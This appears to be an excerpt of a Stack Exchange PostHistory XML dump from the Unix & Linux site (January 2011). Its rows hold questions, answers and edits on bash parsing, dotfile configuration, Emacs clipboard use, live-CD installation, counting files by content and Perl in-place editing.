  <row Id="15234" PostHistoryTypeId="25" PostId="6629" RevisionGUID="deb51471-76de-4f0f-b50f-0442cc6b0db7" CreationDate="2011-01-29T11:16:06.003" Comment="http://twitter.com/#!/StackUnix/status/31309603778068480" />
  <row Id="15235" PostHistoryTypeId="2" PostId="6635" RevisionGUID="2c47fd3d-4582-475b-843d-37c31da74a42" CreationDate="2011-01-29T11:49:33.833" UserId="4297" Text="You can use `fc` to edit the last command in history. It's not the same as editing the same command, but a quick hit on the Enter key makes your current command the last command in history." />
  <row Id="15236" PostHistoryTypeId="2" PostId="6636" RevisionGUID="5875c9c3-ff74-49d1-92b0-82e14f8b2432" CreationDate="2011-01-29T12:03:37.553" UserId="4297" Text=" - **bashrc**: I'm a zsh user, so I have a few lines in my bashrc that start zsh if it is available on a system.&#xD;&#xA; - **zshrc**: Instead of copying my zshrc from something like grml (though there zshrc is pretty good, so if you don't want to roll your own theirs is probably one of the best) I write my own zshrc.&#xD;&#xA;    - I have a customized prompt. Among some other things it shows the return code of the last command if it was unequal to 0.&#xD;&#xA;    - I have some aliases. Because I have accounts on quite a number of servers I sometimes have to perform checks for which version of a command is available on a system and set the alias accordingly.&#xD;&#xA;    - I set my PATH variable.&#xD;&#xA;    - I set some other environment variables (for example $EDITOR)&#xD;&#xA; - **vimrc**: I'm a vim user, so I have a customized and a customized color scheme.&#xD;&#xA; - **screenrc**: I use GNU screen to avoid having to open multiple terminals and to preserve history while not being logged in, so I have my own screenrc." />
  <row Id="15237" PostHistoryTypeId="6" PostId="6620" RevisionGUID="d504f45b-f61a-46a1-ba7e-025ae7b42143" CreationDate="2011-01-29T12:17:46.453" UserId="885" Comment="edited tags" Text="ézshàéeditorsà" />
  <row Id="15238" PostHistoryTypeId="2" PostId="6637" RevisionGUID="acae2193-25b5-4050-aa50-01df74c98f6c" CreationDate="2011-01-29T12:31:28.463" UserId="885" Text="Here's a solution that will work in any POSIX shell:&#xD;&#xA;&#xD;&#xA;    parse_coordinates () {&#xD;&#xA;      IFS='(), '  # Use these characters as word separators&#xD;&#xA;      set -f      # Disable globbing&#xD;&#xA;      set $1      # Split $1 into separate words&#xD;&#xA;      set +f      # Restore shell state&#xD;&#xA;      unset IFS&#xD;&#xA;      LAT=$2      # $1 is the empty word before the open parenthesis&#xD;&#xA;      LON=$3&#xD;&#xA;    }&#xD;&#xA;    parse_coordinates &quot;$LATLNG&quot;&#xD;&#xA;&#xD;&#xA;Here's another equally portable solution that parses the specific syntax used.&#xD;&#xA;&#xD;&#xA;    LAT=${LATLNG%\)}    # strip final parenthesis&#xD;&#xA;    LAT=${LAT#\(}       # strip initial parenthesis&#xD;&#xA;    LON=${LAT##*[, ]}   # set LON to everything after the last comma or space&#xD;&#xA;    LAT=${LAT%%[, ]*}   # set LAT to everything before the first comma or space&#xD;&#xA;" />
  <row Id="15239" PostHistoryTypeId="6" PostId="6619" RevisionGUID="4a7dbc3f-589c-462d-b168-9a8b47badece" CreationDate="2011-01-29T12:33:34.310" UserId="885" Comment="edited tags" Text="ésoftwareörecàégnuplotàéplotàévisualizationà" />
  <row Id="15240" PostHistoryTypeId="6" PostId="1910" RevisionGUID="a69a5604-8a48-4977-b438-605d6fef55fd" CreationDate="2011-01-29T12:47:31.610" UserId="885" Comment="edited tags" Text="édirectoryàéfilenamesàéslashà" />
  <row Id="15241" PostHistoryTypeId="6" PostId="6618" RevisionGUID="4b835e34-fee7-4535-b0fa-b33aaa08a6ac" CreationDate="2011-01-29T12:47:43.730" UserId="885" Comment="edited tags" Text="ésymlinkàéslashàérmà" />
  <row Id="15242" PostHistoryTypeId="6" PostId="870" RevisionGUID="024c3258-b071-4f10-ab0b-f6f7a245128c" CreationDate="2011-01-29T12:48:14.230" UserId="885" Comment="edited tags" Text="édirectoryàérenameàéfilenamesàéslashà" />
  <row Id="15243" PostHistoryTypeId="2" PostId="6638" RevisionGUID="e2fb27c9-b529-4604-b287-c3cdfb0b32a0" CreationDate="2011-01-29T13:16:17.897" UserId="250" Text="I tried out the [linuX-gamers][1] live DVD and like it so much that I want to have it as the main operating system on my desktop. The [FAQ][2] says:&#xD;&#xA;&#xD;&#xA;&gt;Can I install or copy the medium to my hard disk?&#xD;&#xA; No, the software is only designed to boot from a live medium.&#xD;&#xA;&#xD;&#xA;However, as the live DVD is said to be based on Arch Linux I think it is pretty much possible to put it onto the hard drive. A painful way to do this would be to install Arch and try to make it look like this DVD. The download page says that the ISO is isohybrid, I don't know if it makes any difference.&#xD;&#xA;&#xD;&#xA;Is there a (reliable) way to turn an ISO like that into a working installation? I wouldn't mind spending a few days to mess with it.&#xD;&#xA;&#xD;&#xA;  [1]: http://live.linux-gamers.net/&#xD;&#xA;  [2]: http://live.linux-gamers.net/?s=faq" />
  <row Id="15244" PostHistoryTypeId="1" PostId="6638" RevisionGUID="e2fb27c9-b529-4604-b287-c3cdfb0b32a0" CreationDate="2011-01-29T13:16:17.897" UserId="250" Text="How to install from a Linux live CD that does not support installing?" />
  <row Id="15245" PostHistoryTypeId="3" PostId="6638" RevisionGUID="e2fb27c9-b529-4604-b287-c3cdfb0b32a0" CreationDate="2011-01-29T13:16:17.897" UserId="250" Text="éinstallàélivecdàéliveöusbàégamesàéisohybridà" />
  <row Id="15246" PostHistoryTypeId="5" PostId="6629" RevisionGUID="14fa2544-8af8-4819-9e48-bb692cb1eac4" CreationDate="2011-01-29T13:18:50.483" UserId="451" Comment="edited body" Text="Been banging my head off a wall on this&#xD;&#xA;&#xD;&#xA;bash variable LATLNG contains a latitude &amp; longitude value in brackets like so  &#xD;&#xA;&#xD;&#xA;`(53.3096,-6.28396)`&#xD;&#xA;&#xD;&#xA;I want to parse these into a variable called LAT and LNG which I'm trying to do via sed like so  &#xD;&#xA;&#xD;&#xA;`LAT=$(sed &quot;s/(\(.*\),\(.*\))/\1/g&quot; &quot;$LATLNG&quot;)`  &#xD;&#xA;`LNG=$(sed &quot;s/(\(.*\),\(.*\))/\2/g&quot; &quot;$LATLNG&quot;)`&#xD;&#xA;&#xD;&#xA;However, I get the following error:  &#xD;&#xA;&#xD;&#xA;`sed: can't read (53.3096,-6.28396): No such file or directory`&#xD;&#xA;&#xD;&#xA;I'm obviously doing something silly here but it's very late and I cant see what it is.  I've tried several other variations without luck too." />
  <row Id="15247" PostHistoryTypeId="8" PostId="6629" RevisionGUID="32d38d64-1b23-4244-9104-db20d34fa34b" CreationDate="2011-01-29T13:19:21.200" UserId="451" Comment="Rollback to [594533da-240d-4311-bac4-aab021729628]" Text="Been banging my head off a wall on this&#xD;&#xA;&#xD;&#xA;bash variable LATLNG contains a latitude &amp; longitude value in brackets like so  &#xD;&#xA;&#xD;&#xA;`(53.3096,-6.28396)`&#xD;&#xA;&#xD;&#xA;I want to parse these into a variable called LAT and LON which I'm trying to do via sed like so  &#xD;&#xA;&#xD;&#xA;`LAT=$(sed &quot;s/(\(.*\),\(.*\))/\1/g&quot; &quot;$LATLNG&quot;)`  &#xD;&#xA;`LON=$(sed &quot;s/(\(.*\),\(.*\))/\2/g&quot; &quot;$LATLNG&quot;)`&#xD;&#xA;&#xD;&#xA;However, I get the following error:  &#xD;&#xA;&#xD;&#xA;`sed: can't read (53.3096,-6.28396): No such file or directory`&#xD;&#xA;&#xD;&#xA;I'm obviously doing something silly here but it's very late and I cant see what it is.  I've tried several other variations without luck too." />
  <row Id="15248" PostHistoryTypeId="25" PostId="6638" RevisionGUID="02160a77-b61e-46b0-b82b-4756995dbc08" CreationDate="2011-01-29T14:16:05.987" Comment="http://twitter.com/#!/StackUnix/status/31354902345162753" />
  <row Id="15249" PostHistoryTypeId="2" PostId="6639" RevisionGUID="21742625-ff0b-4ab9-886f-97145e63e7a6" CreationDate="2011-01-29T15:13:31.443" UserId="2180" Text="[&lt;h1&gt;.vimrc&lt;/h1&gt;][1]&#xD;&#xA;save file with root permissions by typing `w!!`:&#xD;&#xA;&#xD;&#xA;    cmap w!! w !sudo tee % &gt; /dev/null&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;[&lt;h1&gt;.bashrc&lt;/h1&gt;][2]&#xD;&#xA;Don't bother with devices or binary files when `grep`ing:&#xD;&#xA;&#xD;&#xA;    alias grep='grep --color=auto --binary-files=without-match --devices=skip'&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;Share code on the web (like pastebin, but simpler) by `cat 1337.sh | webshare`&#xD;&#xA;&#xD;&#xA;    alias webshare='curl -F &quot;sprunge=&lt;-&quot; http://sprunge.us | xclip'&#xD;&#xA;It gives back a [short url][3] in your clipboard; you can [append `?whatever-lang` to the returned URL][4] to have it syntax highlighted and lines numbered.&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;&#xD;&#xA;[&lt;h1&gt;.inputrc&lt;/h1&gt;][5]&#xD;&#xA;Use vi mode in everything that uses the readline library (many programs):&#xD;&#xA;&#xD;&#xA;    set editing-mode vi&#xD;&#xA;    set keymap vi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]:  http://sprunge.us/BbBD&#xD;&#xA;  [2]:  http://sprunge.us/IaiQ&#xD;&#xA;  [3]:  http://sprunge.us/IaiQ&#xD;&#xA;  [4]:  http://sprunge.us/IaiQ?bash&#xD;&#xA;  [5]:  http://sprunge.us/BbBD" />
  <row Id="15250" PostHistoryTypeId="2" PostId="6640" RevisionGUID="550c70f2-f57b-4e15-abba-ff7649f14295" CreationDate="2011-01-29T15:23:18.157" UserId="1375" Text="As a very new Emacs user, I've been using Ctrl+w and Ctrl+y to cut/copy and paste between buffers in Emacs. Is there a way to do the same thing so that not just Emacs, but the entire system, can have access to what I am copying and pasting? Thanks." />
  <row Id="15251" PostHistoryTypeId="1" PostId="6640" RevisionGUID="550c70f2-f57b-4e15-abba-ff7649f14295" CreationDate="2011-01-29T15:23:18.157" UserId="1375" Text="Emacs command to cut OR copy to system clipboard?" />
  <row Id="15252" PostHistoryTypeId="3" PostId="6640" RevisionGUID="550c70f2-f57b-4e15-abba-ff7649f14295" CreationDate="2011-01-29T15:23:18.157" UserId="1375" Text="éemacsàécopyöpasteàéclipboardàécutàéhotkeyà" />
  <row Id="15253" PostHistoryTypeId="5" PostId="6428" RevisionGUID="b34cbcd7-91f1-47c1-bebb-1975d6e0c062" CreationDate="2011-01-29T15:50:53.797" UserId="2881" Comment="pointed to unison as the best solution" Text="I'll go with Gilles and point you to Unison as suggested by [hasen j][1]. Unison  was DropBox 20 years before DropBox. Rock solid code that a lot of people (myself included) use every day -- very worthwhile to learn. Still, `join` needs all the publicity it can get :) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is only half an answer, but I have to get back to work :)&#xD;&#xA;&#xD;&#xA;Basically, I wanted to demonstrate the little-known `join` utility which does just that: joins two tables on a some field.&#xD;&#xA;&#xD;&#xA;First, set up a test case including file names with spaces:&#xD;&#xA;&#xD;&#xA;    for d in a b 'c c'; do mkdir -p &quot;old/$d&quot;; echo $RANDOM &gt; &quot;old/${d}/${d}.txt&quot;; done&#xD;&#xA;    cp -r old new&#xD;&#xA;&#xD;&#xA;(edit some directory and/or file names in `new`).&#xD;&#xA;&#xD;&#xA;Now, we want to build a map: hash -&gt; filename for each directory and then use `join` to match up files with the same hash. To generate the map, put the following in `makemap.sh`:&#xD;&#xA;&#xD;&#xA;    find &quot;$1&quot; -type f -exec md5 -r &quot;{}&quot; \; \&#xD;&#xA;      | sed &quot;s/\([a-z0-9]*\) ${1}\/\(.*\)/\1 \&quot;\2\&quot;/&quot; \&#xD;&#xA;&#xD;&#xA;`makemap.sh` spits out a file with lines of the form, 'hash &quot;filename&quot;', so we just join on the first column: &#xD;&#xA;&#xD;&#xA;    join &lt;(./makemap.sh 'old') &lt;(./makemap.sh 'new') &gt;moves.txt&#xD;&#xA;&#xD;&#xA;This generates `moves.txt` which looks like this:&#xD;&#xA;&#xD;&#xA;    49787681dd7fcc685372784915855431 &quot;a/a.txt&quot; &quot;bar/a.txt&quot;&#xD;&#xA;    bfdaa3e91029d31610739d552ede0c26 &quot;c c/c c.txt&quot; &quot;c c/c c.txt&quot;&#xD;&#xA;&#xD;&#xA;The next step would be to actually do the moves, but my attempts got stuck on quoting... `mv -i` and `mkdir -p` should come handy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/6411/any-way-to-sync-directory-structure-when-the-files-are-already-on-both-sides/6518#6518" />
  <row Id="15254" PostHistoryTypeId="2" PostId="6641" RevisionGUID="71b68d9f-7196-4c72-929c-02a1b1f05a9a" CreationDate="2011-01-29T16:22:08.003" UserId="3270" Text="In CarbonEmacs (a native look-n-feel build for Mac OS X) copy and paste between command-keys in native apps, middle-click in X and C-[w,y] in emacs just work." />
  <row Id="15255" PostHistoryTypeId="5" PostId="6640" RevisionGUID="493c0c41-b86f-42cc-b2e5-94728f91a474" CreationDate="2011-01-29T16:33:38.503" UserId="1375" Comment="Specified OS req's." Text="As a very new Emacs user, I've been using Ctrl+w and Ctrl+y to cut/copy and paste between buffers in Emacs. Is there a way to do the same thing so that not just Emacs, but the entire system, can have access to what I am copying and pasting? Thanks.&#xD;&#xA;&#xD;&#xA;P.S. I would like to do this in Linux (in a terminal emulator running under X) and Mac OS X (e.g. with Terminal)." />
  <row Id="15256" PostHistoryTypeId="2" PostId="6642" RevisionGUID="96d13b51-cd8d-4679-a5f6-cd5ec298167d" CreationDate="2011-01-29T16:41:31.720" UserId="1946" Text="You must be talking about X clipboard, so put this line into your `.emacs` file:&#xD;&#xA;&#xD;&#xA;    (custom-set-variables '(x-select-enable-clipboard t))&#xD;&#xA;" />
  <row Id="15258" PostHistoryTypeId="25" PostId="6628" RevisionGUID="6b5d4e82-f586-4ff9-ab20-4a4761aec6b6" CreationDate="2011-01-29T17:16:08.950" Comment="http://twitter.com/#!/StackUnix/status/31400211322507265" />
  <row Id="15260" PostHistoryTypeId="2" PostId="6643" RevisionGUID="6095bd13-2c6d-40ec-bf8d-e70631df9615" CreationDate="2011-01-29T17:41:53.530" UserId="1207" Text="When emacs is running under X, there are a number of ways to implement this (if I understand you correctly).  If you have a recent version of emacs, I think the following lines in `.emacs` creates the most intuitive behavior:&#xD;&#xA;&#xD;&#xA;    (global-set-key &quot;\C-w&quot; 'clipboard-kill-region)&#xD;&#xA;    (global-set-key &quot;\M-w&quot; 'clipboard-kill-ring-save)&#xD;&#xA;    (global-set-key &quot;\C-y&quot; 'clipboard-yank)&#xD;&#xA;&#xD;&#xA;As always, the poorly organized but informative [EmacsWiki][1] has information on this issue. &#xD;&#xA;&#xD;&#xA;However, when you are running in a terminal these settings (and the others mentioned so far) won't help you since the terminal is sitting between emacs and X.  How to copy text from the terminal will usually be terminal dependent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.emacswiki.org/cgi-bin/wiki/CopyAndPaste" />
  <row Id="15261" PostHistoryTypeId="2" PostId="6644" RevisionGUID="bee3f407-3a76-4f22-9323-f04ac9000031" CreationDate="2011-01-29T18:08:09.640" UserId="898" Text="I have a nautilus script that generates an archive file based on the files selected in the nautilus window. This archive file is created in the /tmp directory. I want a way to copy this file from the script, so the user can just go to desktop or home directory and past it.&#xD;&#xA;&#xD;&#xA;I have tried doing this with `xclip` and `xsel`, but they don't seem to replicate a file copying operation, rather they copy the contents of a file.&#xD;&#xA;&#xD;&#xA;    xclip -in -selection c generated-archive&#xD;&#xA;    echo -n generated-archive | xsel --clipboard --input&#xD;&#xA;&#xD;&#xA;Neither of them do what I need.&#xD;&#xA;&#xD;&#xA;So, I want to know if this is possible, and if it is, how should I go about it?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="15262" PostHistoryTypeId="1" PostId="6644" RevisionGUID="bee3f407-3a76-4f22-9323-f04ac9000031" CreationDate="2011-01-29T18:08:09.640" UserId="898" Text="Copy a file from a nautilus-script to clipboard" />
  <row Id="15263" PostHistoryTypeId="3" PostId="6644" RevisionGUID="bee3f407-3a76-4f22-9323-f04ac9000031" CreationDate="2011-01-29T18:08:09.640" UserId="898" Text="ébashàénautilusàéclipboardà" />
  <row Id="15264" PostHistoryTypeId="2" PostId="6645" RevisionGUID="820b834d-8329-4d7f-8d38-682695dd3329" CreationDate="2011-01-29T18:12:56.813" UserId="1207" Text="*I don't have an `rsnapshot` setup to test this on. Be careful.*  &#xD;&#xA;&#xD;&#xA;Personally, I think that the best thing to do is to carefully evaluate the output of `rsnapshot -t interval`. However if you want to actually move files, one way to do it might be to create an alternate config file that is identical to your real config file but with a different `snapshot_root` such as: &#xD;&#xA;&#xD;&#xA;    snapshot_root   /test/backup/path&#xD;&#xA;&#xD;&#xA;And then you can run your test using&#xD;&#xA;&#xD;&#xA;    rsnapshot -c rsnapshot.test.conf interval0&#xD;&#xA;&#xD;&#xA;where `interval0` is your lowest order interval.  &#xD;&#xA;" />
  <row Id="15265" PostHistoryTypeId="5" PostId="6644" RevisionGUID="5aa24551-b783-47f4-81b0-c12079b60f3b" CreationDate="2011-01-29T18:14:25.103" UserId="898" Comment="fixed typos" Text="I have a nautilus script that generates an archive file based on the files selected in the nautilus window. This archive file is created in the `/tmp` directory. I want a way to *copy* this file to the clipboard from the script, so that the user can just go to desktop or home directory and paste it.&#xD;&#xA;&#xD;&#xA;I have tried doing this with `xclip` and `xsel`, but they don't seem to replicate a file copying operation, rather they copy the contents of a file.&#xD;&#xA;&#xD;&#xA;    xclip -in -selection c generated-archive&#xD;&#xA;    echo -n generated-archive | xsel --clipboard --input&#xD;&#xA;&#xD;&#xA;Neither of them do what I need.&#xD;&#xA;&#xD;&#xA;So, I want to know if this is possible, and if it is, how should I go about it?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="15266" PostHistoryTypeId="5" PostId="4716" RevisionGUID="442d9f4e-6654-4ff5-9c87-5315b776d782" CreationDate="2011-01-29T19:46:47.003" UserId="29" Comment="remove  markup" Text="http://kde.org/" />
  <row Id="15267" PostHistoryTypeId="2" PostId="6646" RevisionGUID="c7befcb0-a4f7-4987-ac64-9afdf07920c3" CreationDate="2011-01-29T20:06:01.787" UserId="732" Text="If you can TURN ON AUTOCOMPLETE AND FILE NAME SPELLING CORRECTION! That's probably the two things that will save you the most time. Then, learn to use them - Bash and Zsh have tab-completion.  Ksh has an inefficient escape-backslash, so I'd recommend against Ksh.&#xD;&#xA;&#xD;&#xA;I use Zsh, but aliases like this would work in almost any shell except Csh:&#xD;&#xA;&#xD;&#xA;    alias l='ls -FC --color=tty'&#xD;&#xA;    alias ls='ls -FC --color=tty'&#xD;&#xA;    alias h=history&#xD;&#xA;    alias m=more&#xD;&#xA;    alias vi=vim&#xD;&#xA;    alias cx='chmod +x'&#xD;&#xA;&#xD;&#xA;It seems like an alias for 'ps' should be in there, but I find myself using 'ps' in a wide variety of ways, and I haven't found anything so far.&#xD;&#xA;&#xD;&#xA;In Zsh, set up your RPROMPT (not a typo!) variable:&#xD;&#xA;&#xD;&#xA;    RPROMPT='%d'&#xD;&#xA;&#xD;&#xA;The entire directory appears on the *right* side of the command line, ready for cutting-n-pasting.  More on that later.&#xD;&#xA;&#xD;&#xA;You should use a properly compiled modern Vim, because of the ability to have multiple vim-windows into a file, and multiple buffers.  Your .vimrc could have things like this in it:&#xD;&#xA;&#xD;&#xA;    set mouse=c&#xD;&#xA;    set ml&#xD;&#xA;    set mls=5&#xD;&#xA;    set nowrap&#xD;&#xA;    set nobackup&#xD;&#xA;    set nonu&#xD;&#xA;    set showmatch&#xD;&#xA;    set tabstop=4&#xD;&#xA;    set shiftwidth=4&#xD;&#xA;    set showmode&#xD;&#xA;    set showcmd&#xD;&#xA;    set ruler&#xD;&#xA;    set notextauto&#xD;&#xA;    set laststatus=2&#xD;&#xA;    set mps=(:),{:},[:],&lt;:&gt;&#xD;&#xA;    set modelines=0&#xD;&#xA;&#xD;&#xA;A lot of those are personal preference, but I do happen to believe that 8-space tabs make code less readable, and there's a study floating around to prove it.&#xD;&#xA;&#xD;&#xA;Also, the &quot;mouse=c&quot; is important.  You shouldn't be using your mouse to move around inside a file.  Taking your hands off the keyboard, touching the mouse and them moving them back is slow.  Use &quot;hjkl&quot; cursor movement, and other keyboard paging and cursor movement keys.&#xD;&#xA;&#xD;&#xA;If you're using X11, you should do a few things to your Xterm configuration.  This comes  out of my .Xresources file:&#xD;&#xA;&#xD;&#xA;    XTerm*VT100.scrollBar: true&#xD;&#xA;    XTerm*VT100.saveLines: 1000&#xD;&#xA;    XTerm*VT100.cutNewLine: false &#xD;&#xA;    XTerm*VT100.cutToBeginningOfLine: false&#xD;&#xA;    XTerm*VT100.charClass: 33:48,35:48,37:48,42:48,45-47:48,64:48,95:48,126:48&#xD;&#xA;    XTerm*VT100*translations: #override \n\&#xD;&#xA;        &lt;Key&gt;F2: insert-selection(PRIMARY,CUT_BUFFER0)&#xD;&#xA;&#xD;&#xA;Give Xterm a scrollbar by default, save 1000 lines of text in the buffer, that's pretty standard.&#xD;&#xA;&#xD;&#xA;The charClass directive makes a &quot;word&quot; include things like '.', '/' and '*'. Double clicking on any part of a '/'-separated file name, and you get the whole thing, less ':' characters.&#xD;&#xA;&#xD;&#xA;cutToBeginningOfLine works with the Zsh RPROMPT above.  Triple click on the path of the current working directory that appears on the RHS of your command line, and you pick up only the path: the copy stops at the beginning of the word.  Highly efficient once you're used to it.&#xD;&#xA;&#xD;&#xA;The above X resources also makes the &lt;F2&gt; into a paste key.  That way, once you've copyed (probably using the mouse) you can paste without moving your hand back to the mouse to click.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15268" PostHistoryTypeId="4" PostId="6629" RevisionGUID="e9f011d6-84e6-4d75-be90-805a59a2d889" CreationDate="2011-01-29T20:14:51.027" UserId="451" Comment="edited tags; edited title" Text="Processing bash variable with sed" />
  <row Id="15269" PostHistoryTypeId="6" PostId="6629" RevisionGUID="e9f011d6-84e6-4d75-be90-805a59a2d889" CreationDate="2011-01-29T20:14:51.027" UserId="451" Comment="edited tags; edited title" Text="ébashàéshellàéscriptingàéshellöscriptàésedà" />
  <row Id="15270" PostHistoryTypeId="25" PostId="6640" RevisionGUID="2fe9e184-907b-4596-98ad-f07fbe51e1a9" CreationDate="2011-01-29T20:16:09.140" Comment="http://twitter.com/#!/StackUnix/status/31445512573952001" />
  <row Id="15271" PostHistoryTypeId="2" PostId="6647" RevisionGUID="396a66a5-0b24-49c1-a1de-3d3cf38fe9ce" CreationDate="2011-01-29T20:22:19.270" UserId="4309" Text="You can use unetbootin to boot iso images from harddisk.&#xD;&#xA;Else the commands depend on your bootloader.&#xD;&#xA;Example:&#xD;&#xA;http://www.linuxquestions.org/questions/linux-general-1/boot-iso-image-from-hard-disk-294744&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15272" PostHistoryTypeId="2" PostId="6648" RevisionGUID="50f93139-ad82-41a9-b4c9-fc7d0c5de28e" CreationDate="2011-01-29T20:32:41.703" UserId="4311" Text="How to count the number of files in a directory containing a given string as input in bash/sh? thanks" />
  <row Id="15273" PostHistoryTypeId="1" PostId="6648" RevisionGUID="50f93139-ad82-41a9-b4c9-fc7d0c5de28e" CreationDate="2011-01-29T20:32:41.703" UserId="4311" Text="number of files containing a given string" />
  <row Id="15274" PostHistoryTypeId="3" PostId="6648" RevisionGUID="50f93139-ad82-41a9-b4c9-fc7d0c5de28e" CreationDate="2011-01-29T20:32:41.703" UserId="4311" Text="ébashàéshellàéfilesà" />
  <row Id="15275" PostHistoryTypeId="2" PostId="6649" RevisionGUID="3a53817e-22b3-4b30-92be-95673a09bb40" CreationDate="2011-01-29T20:40:50.457" UserId="2333" Text="I have a directory containing a bunch of files with different extensions, but the filename before the extension is all the same. E.g., file1.txt, file1.jpg, file1.pdf, file1.odt...&#xD;&#xA;&#xD;&#xA;I want to change the 'file1' part, but not the extension, so the result would be, e.g., newfilename.txt, newfilename.jpg, newfilename.pdf, newfilename.odt&#xD;&#xA;&#xD;&#xA;I can't figure out how to do this without tediously running `mv file1.txt newfilename.txt` on every one. I can find lots of tuturials online to change file names with brace expansion if you know all the parts to expand, but nothing to just replace file1 with newfilename no matter what the extension. Is this possible, or am I barking up the wrong tree?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;EDIT: I'm sorry, not moments after posting this I found a different page in my Google results that answered the question for me: `for f in file1.*; do mv &quot;$f&quot; &quot;${f/file1/newfilename}&quot;; done` works perfectly." />
  <row Id="15276" PostHistoryTypeId="1" PostId="6649" RevisionGUID="3a53817e-22b3-4b30-92be-95673a09bb40" CreationDate="2011-01-29T20:40:50.457" UserId="2333" Text="using brace expansion to change filenames, not extensions?" />
  <row Id="15277" PostHistoryTypeId="3" PostId="6649" RevisionGUID="3a53817e-22b3-4b30-92be-95673a09bb40" CreationDate="2011-01-29T20:40:50.457" UserId="2333" Text="ébashàéshellà" />
  <row Id="15278" PostHistoryTypeId="2" PostId="6650" RevisionGUID="f3a85036-88d9-499f-bf67-905ed68eabd7" CreationDate="2011-01-29T20:47:21.210" UserId="4312" Text="awk '/pattern_to_look_for/ {s+=1; nextfile;} END {print s}' *" />
  <row Id="15279" PostHistoryTypeId="5" PostId="6650" RevisionGUID="0b1ae97f-9a2a-4387-a059-c9099492e7d2" CreationDate="2011-01-29T20:47:59.190" UserId="3069" Comment="added 4 characters in body" Text="    awk '/pattern_to_look_for/ {s+=1; nextfile;} END {print s}' *" />
  <row Id="15280" PostHistoryTypeId="2" PostId="6651" RevisionGUID="48651271-8a15-49de-89e3-8e5f48248950" CreationDate="2011-01-29T20:52:34.800" UserId="3069" Text="Example directory:&#xD;&#xA;&#xD;&#xA;    file1.jpg&#xD;&#xA;    a file name&#xD;&#xA;    dont_count_me&#xD;&#xA;    morefiles.txt&#xD;&#xA;&#xD;&#xA;With `ls` and `wc`:&#xD;&#xA;&#xD;&#xA;    $ PATTERN=&quot;file&quot;&#xD;&#xA;    $ ls *&quot;$PATTERN&quot;* | wc -l&#xD;&#xA;    3" />
  <row Id="15281" PostHistoryTypeId="5" PostId="6650" RevisionGUID="21357a89-68fb-43a2-911a-d01fbfcab8a3" CreationDate="2011-01-29T20:55:34.193" UserId="4312" Comment="added 158 characters in body; added 59 characters in body" Text="    awk '/pattern_to_look_for/ {s+=1; nextfile;} END {print s}' *&#xD;&#xA;&#xD;&#xA;Clarification: This looks for the number of files that has the &quot;pattern_to_look_for&quot; in their contents and not in their filenames (like Wag's answer). From your question it's hard to tell what you are looking for." />
  <row Id="15282" PostHistoryTypeId="2" PostId="6652" RevisionGUID="719abf77-c918-49e8-873d-5d4b5ceea426" CreationDate="2011-01-29T20:58:00.350" UserId="3558" Text="Here's the test script I'm running&#xD;&#xA;&#xD;&#xA;	matt@server:~ $ cat test.sh&#xD;&#xA;	#!/bin/bash&#xD;&#xA;	mkdir test&#xD;&#xA;	cd test&#xD;&#xA;	echo &quot;has the string foo&quot; &gt; yes.txt&#xD;&#xA;	echo &quot;hasn't the string&quot; &gt; no.txt&#xD;&#xA;	ls -l --time-style=full-iso&#xD;&#xA;	cat *&#xD;&#xA;	perl -e 's/foo/bar/g;' -pi $(find -type f)&#xD;&#xA;	ls -l --time-style=full-iso&#xD;&#xA;	cat *&#xD;&#xA;	matt@server:~ $ ./test.sh&#xD;&#xA;	total 8&#xD;&#xA;	-rw-r--r-- 1 matt matt 18 2011-01-29 13:52:17.240316663 -0700 no.txt&#xD;&#xA;	-rw-r--r-- 1 matt matt 19 2011-01-29 13:52:17.240316663 -0700 yes.txt&#xD;&#xA;	hasn't the string&#xD;&#xA;	has the string foo&#xD;&#xA;	total 8&#xD;&#xA;	-rw-r--r-- 1 matt matt 18 2011-01-29 13:52:17.260317727 -0700 no.txt&#xD;&#xA;	-rw-r--r-- 1 matt matt 19 2011-01-29 13:52:17.260317727 -0700 yes.txt&#xD;&#xA;	hasn't the string&#xD;&#xA;	has the string bar&#xD;&#xA;&#xD;&#xA;I need to figure out how to tweak this line:&#xD;&#xA;&#xD;&#xA;    perl -e 's/foo/bar/g;' -pi $(find -type f)&#xD;&#xA;&#xD;&#xA;To not write every file it finds but to just write the files that need to be changed." />
  <row Id="15283" PostHistoryTypeId="1" PostId="6652" RevisionGUID="719abf77-c918-49e8-873d-5d4b5ceea426" CreationDate="2011-01-29T20:58:00.350" UserId="3558" Text="Perl find and replace is writing every file" />
  <row Id="15284" PostHistoryTypeId="3" PostId="6652" RevisionGUID="719abf77-c918-49e8-873d-5d4b5ceea426" CreationDate="2011-01-29T20:58:00.350" UserId="3558" Text="ébashàéfindàéperlà" />
  <row Id="15285" PostHistoryTypeId="5" PostId="6648" RevisionGUID="22378a78-7efc-4f11-b028-26b2914ecac6" CreationDate="2011-01-29T20:59:21.860" UserId="4311" Comment="added 7 characters in body" Text="How to count the number of files (in a directory) containing into a given string as input in bash/sh? thanks" />
  <row Id="15286" PostHistoryTypeId="2" PostId="6653" RevisionGUID="eca109e9-f26c-4536-8a15-7124dae63214" CreationDate="2011-01-29T21:02:06.570" UserId="2333" Text="`grep &quot;given string&quot; *|wc -l` will search for &quot;given string&quot; in the contents of all files in the working directory and tell you how many matched." />
  <row Id="15287" PostHistoryTypeId="6" PostId="6652" RevisionGUID="8aef1109-ba0f-4fa3-8619-5a2bcefc5d42" CreationDate="2011-01-29T21:06:06.173" UserId="3558" Comment="edited tags" Text="élinuxàébashàéfindàéperlà" />
